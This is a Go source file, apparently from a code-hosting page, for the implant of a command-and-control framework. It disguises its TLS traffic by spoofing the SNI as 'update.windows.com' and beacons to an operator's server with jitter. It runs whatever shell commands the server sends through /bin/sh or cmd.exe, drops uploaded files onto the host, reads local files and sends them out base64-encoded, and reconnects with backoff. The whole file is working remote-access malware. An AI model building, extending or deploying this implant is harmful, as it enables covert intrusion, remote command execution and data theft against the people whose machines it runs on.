367 lines
8.3 KiB
Go
367 lines
8.3 KiB
Go
// Command client is the implant side of the SNI-spoofing C2.
|
|
//
|
|
// It connects to the C2 server using TLS with a spoofed SNI field
|
|
// (e.g. "update.windows.com"), beacons periodically, receives commands,
|
|
// executes them, and sends back results.
|
|
package main
|
|
|
|
import (
|
|
"crypto/tls"
|
|
"encoding/base64"
|
|
"encoding/json"
|
|
"flag"
|
|
"fmt"
|
|
"math/rand"
|
|
"net"
|
|
"os"
|
|
"os/exec"
|
|
"os/signal"
|
|
"runtime"
|
|
"sync/atomic"
|
|
"syscall"
|
|
"time"
|
|
|
|
tlsutil "github.com/openclaw/c2-sni-spoof/pkg/tls"
|
|
)
|
|
|
|
// ---------- Message types (match server) ----------
|
|
|
|
type Beacon struct {
|
|
Type string `json:"type"`
|
|
Hostname string `json:"hostname"`
|
|
PID int `json:"pid"`
|
|
BeaconID int64 `json:"beacon_id"`
|
|
SNI string `json:"sni,omitempty"`
|
|
}
|
|
|
|
type Command struct {
|
|
Type string `json:"type"`
|
|
Payload string `json:"payload,omitempty"`
|
|
Filename string `json:"filename,omitempty"`
|
|
Data string `json:"data,omitempty"`
|
|
BeaconSec int `json:"beacon_sec,omitempty"`
|
|
ID int64 `json:"id,omitempty"`
|
|
}
|
|
|
|
type Result struct {
|
|
Type string `json:"type"`
|
|
Command int64 `json:"command_id"`
|
|
Output string `json:"output,omitempty"`
|
|
Data string `json:"data,omitempty"`
|
|
Error string `json:"error,omitempty"`
|
|
}
|
|
|
|
// ---------- Implant state ----------
|
|
|
|
type Implant struct {
|
|
serverAddr string
|
|
sniDomain string
|
|
caFile string
|
|
hostname string
|
|
pid int
|
|
beaconSec int64 // atomic for safe concurrent access
|
|
beaconID int64
|
|
conn net.Conn
|
|
enc *json.Encoder
|
|
dec *json.Decoder
|
|
}
|
|
|
|
func NewImplant(serverAddr, sniDomain, caFile string, beaconSec int) *Implant {
|
|
hostname, _ := os.Hostname()
|
|
if hostname == "" {
|
|
hostname = "unknown"
|
|
}
|
|
return &Implant{
|
|
serverAddr: serverAddr,
|
|
sniDomain: sniDomain,
|
|
caFile: caFile,
|
|
hostname: hostname,
|
|
pid: os.Getpid(),
|
|
beaconSec: int64(beaconSec),
|
|
}
|
|
}
|
|
|
|
// ---------- Connection management ----------
|
|
|
|
func (imp *Implant) connect() error {
|
|
tlsCfg, err := tlsutil.ClientTLSConfig(imp.sniDomain, imp.caFile)
|
|
if err != nil {
|
|
return fmt.Errorf("TLS config: %w", err)
|
|
}
|
|
|
|
conn, err := tls.Dial("tcp", imp.serverAddr, tlsCfg)
|
|
if err != nil {
|
|
return fmt.Errorf("TLS dial: %w", err)
|
|
}
|
|
|
|
imp.conn = conn
|
|
imp.enc = json.NewEncoder(conn)
|
|
imp.dec = json.NewDecoder(conn)
|
|
|
|
return nil
|
|
}
|
|
|
|
func (imp *Implant) close() {
|
|
if imp.conn != nil {
|
|
imp.conn.Close()
|
|
imp.conn = nil
|
|
}
|
|
}
|
|
|
|
// ---------- Main beacon loop ----------
|
|
|
|
func (imp *Implant) run() error {
|
|
if err := imp.connect(); err != nil {
|
|
return err
|
|
}
|
|
defer imp.close()
|
|
|
|
fmt.Fprintf(os.Stderr, "[*] implant connected to %s (SNI: %s)\n",
|
|
imp.serverAddr, imp.sniDomain)
|
|
|
|
for {
|
|
// Build beacon.
|
|
bid := atomic.AddInt64(&imp.beaconID, 1)
|
|
beacon := Beacon{
|
|
Type: "beacon",
|
|
Hostname: imp.hostname,
|
|
PID: imp.pid,
|
|
BeaconID: bid,
|
|
SNI: imp.sniDomain,
|
|
}
|
|
|
|
// Send beacon.
|
|
if err := imp.enc.Encode(beacon); err != nil {
|
|
return fmt.Errorf("send beacon: %w", err)
|
|
}
|
|
|
|
// Receive command.
|
|
var cmd Command
|
|
if err := imp.dec.Decode(&cmd); err != nil {
|
|
return fmt.Errorf("recv command: %w", err)
|
|
}
|
|
|
|
// Process command (noop and ping don't produce a result).
|
|
switch cmd.Type {
|
|
case "noop":
|
|
// nothing to do
|
|
case "ping":
|
|
// nothing to do, just continue
|
|
case "exec":
|
|
res := imp.handleExec(cmd)
|
|
if err := imp.enc.Encode(res); err != nil {
|
|
return fmt.Errorf("send result: %w", err)
|
|
}
|
|
case "upload":
|
|
res := imp.handleUpload(cmd)
|
|
if err := imp.enc.Encode(res); err != nil {
|
|
return fmt.Errorf("send result: %w", err)
|
|
}
|
|
case "download":
|
|
res := imp.handleDownload(cmd)
|
|
if err := imp.enc.Encode(res); err != nil {
|
|
return fmt.Errorf("send result: %w", err)
|
|
}
|
|
case "beacon":
|
|
if cmd.BeaconSec > 0 {
|
|
atomic.StoreInt64(&imp.beaconSec, int64(cmd.BeaconSec))
|
|
res := Result{
|
|
Type: "result",
|
|
Command: cmd.ID,
|
|
Output: fmt.Sprintf("beacon interval changed to %ds", cmd.BeaconSec),
|
|
}
|
|
if err := imp.enc.Encode(res); err != nil {
|
|
return fmt.Errorf("send result: %w", err)
|
|
}
|
|
}
|
|
default:
|
|
res := Result{
|
|
Type: "error",
|
|
Command: cmd.ID,
|
|
Error: fmt.Sprintf("unknown command type: %s", cmd.Type),
|
|
}
|
|
imp.enc.Encode(res)
|
|
}
|
|
|
|
// Sleep for beacon interval, with ±20% jitter.
|
|
sec := atomic.LoadInt64(&imp.beaconSec)
|
|
baseSleep := time.Duration(sec) * time.Second
|
|
jitterMax := baseSleep / 5
|
|
jitter := time.Duration(rand.Int63n(int64(jitterMax)))
|
|
if rand.Int63n(2) == 0 {
|
|
time.Sleep(baseSleep + jitter)
|
|
} else {
|
|
time.Sleep(baseSleep - jitter)
|
|
}
|
|
}
|
|
}
|
|
|
|
// ---------- Command handlers ----------
|
|
|
|
func (imp *Implant) handleExec(cmd Command) Result {
|
|
// Determine shell based on OS.
|
|
shell, shellFlag := "/bin/sh", "-c"
|
|
if runtime.GOOS == "windows" {
|
|
shell, shellFlag = "cmd.exe", "/C"
|
|
}
|
|
|
|
execCmd := exec.Command(shell, shellFlag, cmd.Payload)
|
|
output, err := execCmd.CombinedOutput()
|
|
if err != nil {
|
|
return Result{
|
|
Type: "result",
|
|
Command: cmd.ID,
|
|
Output: string(output),
|
|
Error: err.Error(),
|
|
}
|
|
}
|
|
return Result{
|
|
Type: "result",
|
|
Command: cmd.ID,
|
|
Output: string(output),
|
|
}
|
|
}
|
|
|
|
func (imp *Implant) handleUpload(cmd Command) Result {
|
|
if cmd.Filename == "" || cmd.Data == "" {
|
|
return Result{
|
|
Type: "error",
|
|
Command: cmd.ID,
|
|
Error: "missing filename or data",
|
|
}
|
|
}
|
|
|
|
data, err := base64.StdEncoding.DecodeString(cmd.Data)
|
|
if err != nil {
|
|
return Result{
|
|
Type: "error",
|
|
Command: cmd.ID,
|
|
Error: fmt.Sprintf("base64 decode: %v", err),
|
|
}
|
|
}
|
|
|
|
if err := os.WriteFile(cmd.Filename, data, 0644); err != nil {
|
|
return Result{
|
|
Type: "error",
|
|
Command: cmd.ID,
|
|
Error: fmt.Sprintf("write file: %v", err),
|
|
}
|
|
}
|
|
|
|
return Result{
|
|
Type: "result",
|
|
Command: cmd.ID,
|
|
Output: fmt.Sprintf("uploaded %d bytes to %s", len(data), cmd.Filename),
|
|
}
|
|
}
|
|
|
|
func (imp *Implant) handleDownload(cmd Command) Result {
|
|
if cmd.Filename == "" {
|
|
return Result{
|
|
Type: "error",
|
|
Command: cmd.ID,
|
|
Error: "missing filename",
|
|
}
|
|
}
|
|
|
|
data, err := os.ReadFile(cmd.Filename)
|
|
if err != nil {
|
|
return Result{
|
|
Type: "error",
|
|
Command: cmd.ID,
|
|
Error: fmt.Sprintf("read file: %v", err),
|
|
}
|
|
}
|
|
|
|
return Result{
|
|
Type: "result",
|
|
Command: cmd.ID,
|
|
Output: fmt.Sprintf("downloaded %d bytes from %s", len(data), cmd.Filename),
|
|
Data: base64.StdEncoding.EncodeToString(data),
|
|
}
|
|
}
|
|
|
|
// ---------- Reconnect loop with exponential backoff ----------
|
|
|
|
func (imp *Implant) runWithReconnect() {
|
|
maxBackoff := 5 * time.Minute
|
|
backoff := 1 * time.Second
|
|
|
|
for {
|
|
err := imp.run()
|
|
if err != nil {
|
|
fmt.Fprintf(os.Stderr, "[!] connection lost: %v\n", err)
|
|
fmt.Fprintf(os.Stderr, "[*] reconnecting in %v\n", backoff)
|
|
}
|
|
|
|
// Wait with backoff, respect interrupt.
|
|
sleepTimer := time.NewTimer(backoff)
|
|
|
|
sigCh := make(chan os.Signal, 1)
|
|
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
|
|
|
|
select {
|
|
case <-sigCh:
|
|
sleepTimer.Stop()
|
|
signal.Stop(sigCh)
|
|
fmt.Println("\n[*] implant shutting down…")
|
|
return
|
|
case <-sleepTimer.C:
|
|
}
|
|
signal.Stop(sigCh)
|
|
|
|
// Exponential backoff with cap.
|
|
backoff *= 2
|
|
if backoff > maxBackoff {
|
|
backoff = maxBackoff
|
|
}
|
|
|
|
// Add jitter (±25%).
|
|
jitter := time.Duration(rand.Int63n(int64(backoff) / 4))
|
|
if rand.Int63n(2) == 0 {
|
|
backoff += jitter
|
|
} else {
|
|
backoff -= jitter
|
|
if backoff < time.Second {
|
|
backoff = time.Second
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// ---------- main ----------
|
|
|
|
func main() {
|
|
serverAddr := flag.String("c2", "", "C2 server address (host:port)")
|
|
sniDomain := flag.String("sni", "update.windows.com", "SNI domain to spoof")
|
|
caFile := flag.String("ca", "ca.crt", "CA certificate file for TLS verification")
|
|
beaconSec := flag.Int("beacon", 10, "beacon interval in seconds")
|
|
flag.Parse()
|
|
|
|
if *serverAddr == "" {
|
|
fmt.Fprintln(os.Stderr, "error: -c2 flag is required (e.g. -c2 192.168.1.100:8443)")
|
|
flag.Usage()
|
|
os.Exit(1)
|
|
}
|
|
|
|
fmt.Fprintf(os.Stderr, "[*] SNI Spoof Implant starting\n")
|
|
fmt.Fprintf(os.Stderr, "[*] C2: %s SNI: %s Beacon: %ds\n",
|
|
*serverAddr, *sniDomain, *beaconSec)
|
|
h, _ := os.Hostname()
|
|
fmt.Fprintf(os.Stderr, "[*] Hostname: %s PID: %d OS: %s\n", h, os.Getpid(), runtime.GOOS)
|
|
|
|
imp := NewImplant(*serverAddr, *sniDomain, *caFile, *beaconSec)
|
|
|
|
// Handle interrupt for graceful shutdown.
|
|
sigCh := make(chan os.Signal, 1)
|
|
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
|
|
go func() {
|
|
<-sigCh
|
|
fmt.Fprintln(os.Stderr, "\n[*] shutting down…")
|
|
imp.close()
|
|
os.Exit(0)
|
|
}()
|
|
|
|
imp.runWithReconnect()
|
|
}
|